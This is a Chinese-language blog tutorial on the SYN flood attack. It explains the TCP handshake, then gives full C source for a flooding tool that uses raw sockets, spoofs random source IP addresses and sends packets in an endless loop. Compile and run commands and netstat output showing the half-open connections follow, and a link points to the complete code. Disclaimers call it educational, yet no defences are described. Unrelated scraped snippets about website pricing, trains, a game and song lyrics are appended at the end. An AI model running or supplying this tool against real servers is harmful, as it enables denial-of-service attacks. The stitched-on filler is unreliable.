注意:本文只探討技術,請勿用于非法用途,否則后果自負。
TCP協議是 TCP/IP 協議棧中一個重要的協議,平時我們使用的瀏覽器,APP等大多使用 TCP 協議通訊的,可見 TCP 協議在網絡中扮演的角色是多么的重要。
TCP 協議是一個可靠的、面向連接的流協議,由于 TCP 協議是建立在 IP 協議這種面向無連接的協議,所以 TCP 協議必須自己來維護連接的狀態。
TCP 協議通過一種名為 三次握手 的過程來建立客戶端與服務端的連接,三次握手 過程的原理如圖1:
(圖一 三次握手過程)
建立連接三次握手過程如下:
SYN包
給服務端(包含了客戶端初始化序列號),并且將連接的狀態設置為 SYN_SENT
,這個過程由 connect()
系統調用完成。SYN包
后,回復一個 SYN+ACK包
給客戶端(包含了服務端初始化序列號),并且設置連接的狀態為 SYN_RCVD
。SYN+ACK包
后,設置連接狀態為 ESTABLISHED
(表示連接已經建立),并且回復一個 ACK包
給服務端。ACK包
后,將連接狀態設置為 ESTABLISHED
(表示連接已經建立)。當 三次握手 過程完成后,一個 TCP 連接就此建立完成。
上面介紹了建立一個 TCP 連接的 三次握手 過程,我們可以發現,三次握手 屬于一個協商的過程,也就是說客戶端與服務端必須嚴格按照這個過程來進行,否則連接就不能建立。
這時,如果客戶端發送 SYN包 企圖與服務端建立連接,但發送完 SYN包 后就不管,那會發送什么事情呢?如圖2所示:
(圖2 SYN-Flood)
客戶端發送一個 SYN包 給服務端后就退出,而服務端接收到 SYN包 后,會回復一個 SYN+ACK包 給客戶端,然后等待客戶端回復一個 ACK包。
但此時客戶端并不會回復 ACK包,所以服務端只能一直等待直到超時。服務端超時后,會重發 SYN+ACK包 給客戶端,默認會重試 5 次,而且每次等待的時間都會增加(可以參考 TCP 協議超時重傳的實現)。
另外,當服務端接收到 SYN包 后,會建立一個半連接狀態的 Socket。所以,當客戶端一直發送 SYN包,但不回復 ACK包,那么將會耗盡服務端的資源,這就是 SYN Flood 攻擊。
接下來,我們通過自己編寫代碼來進行 SYN Flood攻擊 實驗。
因為 SYN Flood攻擊 需要構建 TCP 協議頭部,所以下面介紹一下 TCP 協議頭部的格式,如圖3:
(圖3 TCP 協議頭部格式)
我們定義以下結構來描述 TCP 協議頭部:
struct tcphdr { unsigned short sport; // 源端口 unsigned short dport; // 目標端口 unsigned int seq; // 序列號 unsigned int ack_seq; // 確認號 unsigned char len; // 首部長度 unsigned char flag; // 標志位 unsigned short win; // 窗口大小 unsigned short checksum; // 校驗和 unsigned short urg; // 緊急指針};
下面是設置 TCP 頭部的過程:
按照上面的分析,定義 TCP 偽首部的結構如下:
struct pseudohdr { unsigned int saddr; unsigned int daddr; char zeros; char protocol; unsigned short length;};
計算校驗和的算法有點復雜,所以這里直接從網上找到一個封裝好的函數,如下(有興趣可以參考 TCP 協議的 RFC 文檔):
unsigned short inlinechecksum(unsigned short *buffer, unsigned short size) { unsigned long cksum = 0; while (size > 1) { cksum += *buffer++; size -= sizeof(unsigned short); } if (size) { cksum += *(unsigned char *)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return (unsigned short )(~cksum);}
另外,為了在攻擊的時候能夠設置不同的 IP 地址(因為相同的 IP 地址容易被識別而過濾),我們還需要定義 IP 協議頭部。IP 協議頭部的格式如圖4:
(圖4 IP 協議頭部)
我們定義以下結構來表示 IP 協議頭部:
struct iphdr { unsigned char ver_and_hdrlen;// 版本號與IP頭部長度 unsigned char tos; // 服務類型 unsigned short total_len; // 總長度 unsigned short id; // IP包ID unsigned short flags; // 標志位(包括分片偏移量) unsigned char ttl; // 生命周期 unsigned char protocol; // 上層協議 unsigned short checksum; // 校驗和 unsigned int srcaddr; // 源IP地址 unsigned int dstaddr; // 目標IP地址};
下面我們實現初始化 IP 頭部的函數 init_ip_header()
:
void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr){ int len = sizeof(struct ip) + sizeof(struct tcphdr); iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int)); iphdr->tos = 0; iphdr->total_len = htons(len); iphdr->id = 1; iphdr->flags = 0x40; iphdr->ttl = 255; iphdr->protocol = IPPROTO_TCP; iphdr->checksum = 0; iphdr->srcaddr = srcaddr; // 源IP地址 iphdr->dstaddr = dstaddr; // 目標IP地址}
init_ip_header()
函數比較簡單,就是通過傳入的源 IP 地址和目標 IP 地址初始化 IP 頭部結構。
接下來,我們要實現初始化 TCP 頭部的函數 init_tcp_header()
:
void init_tcp_header(struct tcphdr *tcphdr, unsigned short dport){ tcp->sport = htons(rand() % 16383 + 49152); // 隨機生成一個端口 tcp->dport = htons(dport); // 目標端口 tcp->seq = htonl(rand() % 90000000 + 2345 ); // 隨機生成一個初始化序列號 tcp->ack_seq = 0; tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0); tcp->flag = 0x02; tcp->win = htons(1024); tcp->checksum = 0; tcp->urg = 0;}
現在我們定義一個 TCP 偽首部初始化函數 init_pseudo_header()
:
void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr, unsigned int dstaddr){ hdr->zero = 0; hdr->protocol = IPPROTO_TCP; hdr->length = htons(sizeof(struct tcphdr)); hdr->saddr = srcaddr; hdr->daddr = dstaddr;}
接下來我們要實現最為重要的一個函數,就是構建 SYN包,其實現如下:
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr, unsigned short dport){ char buf[100]; int len; struct iphdr ip; // IP 頭部 struct tcphdr tcp; // TCP 頭部 struct pseudohdr pseudo; // TCP 偽頭部 unsigned int saddr = rand(); // 隨機生成一個源IP地址 len = sizeof(ip) + sizeof(tcp); // 初始化頭部信息 init_ip_header(&ip, saddr, daddr); init_tcp_header(&tcp, dport); init_pseudo_header(&pseudo, saddr, daddr); //計算IP校驗和 ip.checksum = checksum((u_short *)&ip, sizeof(ip)); // 計算TCP校驗和 bzero(buf, sizeof(buf)); memcpy(buf , &pseudo, sizeof(pseudo)); // 復制TCP偽頭部 memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 復制TCP頭部 tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp)); bzero(packet, pkt_len); memcpy(packet, &ip, sizeof(ip)); memcpy(packet + sizeof(ip), &tcp, sizeof(tcp)); return len;}
make_syn_packet()
函數主要通過 目標IP地址 和 目標端口 生成一個 SYN包,保存到參數 packet 中,并且返回包的大小。
由于要發送自己構建的 IP 頭部和 TCP 頭部,所以必須使用 原始套接字 來發送。原始套接字 在創建時需要指定 SOCK_RAW
參數,下面我們定義一個創建原始套接字的函數:
int make_raw_socket(){ int fd; int on = 1; // 創建一個原始套接字, 指定其關注TCP協議 fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (fd == -1) { return -1; } // 設置需要手動構建IP頭部 if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { close(fd); return -1; } return fd;}
在調用 socket()
函數創建套接字時,指定第二個參數為 SOCK_RAW
,表示創建的套接字為原始套接字。然后調用 setsockopt()
函數設置 IP 頭部由我們自己構建。
下面我們實現發送 SYN包 的函數:
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port){ struct sockaddr_in skaddr; char packet[256]; int pkt_len; bzero(&skaddr, sizeof(skaddr)); skaddr.sin_family = AF_INET; skaddr.sin_port = htons(port); skaddr.sin_addr.s_addr = addr; pkt_len = make_syn_packet(packet, 256, addr, port); return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr, sizeof(struct sockaddr));}
send_syn_packet()
函數需要傳入原始套接字、目標IP地址和目標端口,然后通過調用 sendto()
函數向服務端發送一個 SYN包。
最后,我們來實現主函數 main()
:
int main(int argc, char *argv[]){ unsigned int addr; unsigned short port; int sockfd; if (argc < 3) { fprintf(stderr, "Usage: synflood <address> <port>n"); exit(1); } addr = inet_addr(argv[1]); // 獲取目標IP port = atoi(argv[2]); // 獲取目標端口 if (port < 0 || port > 65535) { fprintf(stderr, "Invalid destination port number: %sn", argv[2]); exit(1); } sockfd = make_raw_socket(); // 創建原始socket if (sockfd == -1) { fprintf(stderr, "Failed to make raw socketn"); exit(1); } for (;;) { if (send_syn_packet(sockfd, addr, port) < 0) { // 發送SYN包 fprintf(stderr, "Failed to send syn packetn"); } } close(sockfd); return 0;}
main()
函數也很簡單,首先從命令行讀取到 目標 IP 地址 和 目標端口,然后調用 make_raw_socket()
創建一個原始套接字,最后在一個無限循環中不斷向服務端發送 SYN包。
完整的源代碼在:https://github.com/liexusong/synflood/blob/main/synflood.c
現在我們通過以下命令來編譯這個程序:
root@vagrant]$ gcc -o synflood synflood.c
然后使用以下命令運行程序:
root@vagrant]$ sudo synflood 127.0.0.1 80
上面的命令就是攻擊本地的80端口,我們可以使用以下命令查看TCP連接的狀態:
root@vagrant]$ netstat -np|grep tcptcp 0 0 127.0.0.1:80 229.20.1.110:51861 SYN_RECV -tcp 0 0 127.0.0.1:80 239.137.18.30:52104 SYN_RECV -tcp 0 0 127.0.0.1:80 233.90.28.10:65322 SYN_RECV -tcp 0 0 127.0.0.1:80 236.13.8.74:57922 SYN_RECV -tcp 0 0 127.0.0.1:80 229.81.76.55:52345 SYN_RECV -tcp 0 0 127.0.0.1:80 236.226.188.82:53560 SYN_RECV -tcp 0 0 127.0.0.1:80 236.245.238.56:49499 SYN_RECV -tcp 0 0 127.0.0.1:80 224.222.45.20:49270 SYN_RECV -tcp 0 0 127.0.0.1:80 230.2.130.115:63709 SYN_RECV -tcp 0 0 127.0.0.1:80 239.233.180.85:59636 SYN_RECV -tcp 0 0 127.0.0.1:80 236.168.175.81:60326 SYN_RECV -tcp 0 0 127.0.0.1:80 235.27.77.111:65276 SYN_RECV -tcp 0 0 127.0.0.1:80 236.4.252.114:60898 SYN_RECV -tcp 0 0 127.0.0.1:80 226.62.209.29:64605 SYN_RECV -tcp 0 0 127.0.0.1:80 232.106.157.82:56451 SYN_RECV -tcp 0 0 127.0.0.1:80 235.247.175.35:54963 SYN_RECV -tcp 0 0 127.0.0.1:80 231.100.248.95:58660 SYN_RECV -tcp 0 0 127.0.0.1:80 228.113.70.57:60157 SYN_RECV -tcp 0 0 127.0.0.1:80 236.76.245.32:59218 SYN_RECV -tcp 0 0 127.0.0.1:80 232.76.169.15:50441 SYN_RECV -tcp 0 0 127.0.0.1:80 236.191.51.34:53060 SYN_RECV -tcp 0 0 127.0.0.1:80 227.215.119.119:55480 SYN_RECV -tcp 0 0 127.0.0.1:80 227.185.145.18:56882 SYN_RECV -tcp 0 0 127.0.0.1:80 234.73.216.62:58793 SYN_RECV -tcp 0 0 127.0.0.1:80 234.183.17.49:59739 SYN_RECV -tcp 0 0 127.0.0.1:80 235.233.86.125:55530 SYN_RECV -tcp 0 0 127.0.0.1:80 229.117.216.112:52235 SYN_RECV -tcp 0 0 127.0.0.1:80 238.182.168.62:65214 SYN_RECV -tcp 0 0 127.0.0.1:80 225.88.213.112:62171 SYN_RECV -tcp 0 0 127.0.0.1:80 225.218.65.88:60597 SYN_RECV -tcp 0 0 127.0.0.1:80 239.116.219.23:58731 SYN_RECV -tcp 0 0 127.0.0.1:80 232.99.36.55:51906 SYN_RECV -tcp 0 0 127.0.0.1:80 225.198.211.64:52338 SYN_RECV -tcp 0 0 127.0.0.1:80 230.229.104.121:62795 SYN_RECV -...
從上面的結果可以看出,服務器已經生成了很多半連接狀態的 TCP 連接,表示我們的攻擊已經生效。
本文主要介紹了 SYN Flood攻擊 的原理與實施方式,本文的本意是通過理解攻擊原理來更好的防范被攻擊,而不是教你怎么去攻擊,所以千萬別用于惡意攻擊、千萬別用于惡意攻擊、千萬別用于惡意攻擊(重要的事情講三次)。
另外,防止 SYN Flood攻擊 的方法很多,這里就不介紹了,有興趣可以查閱相關的資料。
參考資料:1. https://blog.csdn.net/zhangskd/article/details/11770647
2. https://blog.csdn.net/jiange_zh/article/details/50446172
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
北京到天津動車多少公里?從北京到天津的距離大約是135.30公里。如果從北京坐動車到天津,按照動車時速120公里計算,一個多小時就能到。京津高鐵c2563首趟列車09336004發車。京津城際鐵路c2017,c2059,c2091,京津城際鐵路c2075,可以坐這幾趟城際高鐵。北京到天津動車多少公里?從北京到天津的動車的公里數大約是60公里。北京到天津動車哪個字母開頭?c字頭是城際列車。單號下行(...
QQ炫舞里如何在離婚之后消除伴侶記錄?離婚后可以改名消除合作伙伴記錄是的,下一個將顯示為第一個合作伙伴。但是,如果再婚后改名,前伴侶 的名稱將被刪除,但當前的合作伙伴仍將顯示為第二個。直播伴侶分辨率能手動修改嗎?live companion的分辨率可以手動修改。1.首先雙擊電腦桌面上的抖音短視頻,啟動程序,進入主界面。2.單擊 "更多 "選項,并從下拉菜單中選擇分辨率設置。3.在彈出的分辨率設置對...
《踏山河》完整版歌詞歌曲踏山河完整版歌詞?踏山河歌詞曲原唱?《踏山河》是由祝何作詞,祝何作曲,由歌手“是七叔呢”演唱的歌曲,收錄于同名專輯《踏山河》,于2020年11月19日發行。歌詞:秋風落日入長河 ,江南煙雨行舟;亂石穿空 ,卷起多少的烽火;萬里山河都踏過 ,天下又入誰手;分分合合 ,不過幾十載春秋;我在 十面埋伏, 四面楚歌的時候;把酒與蒼天對酌,縱然一去不回 此戰又如何;誰見 萬箭齊發 星...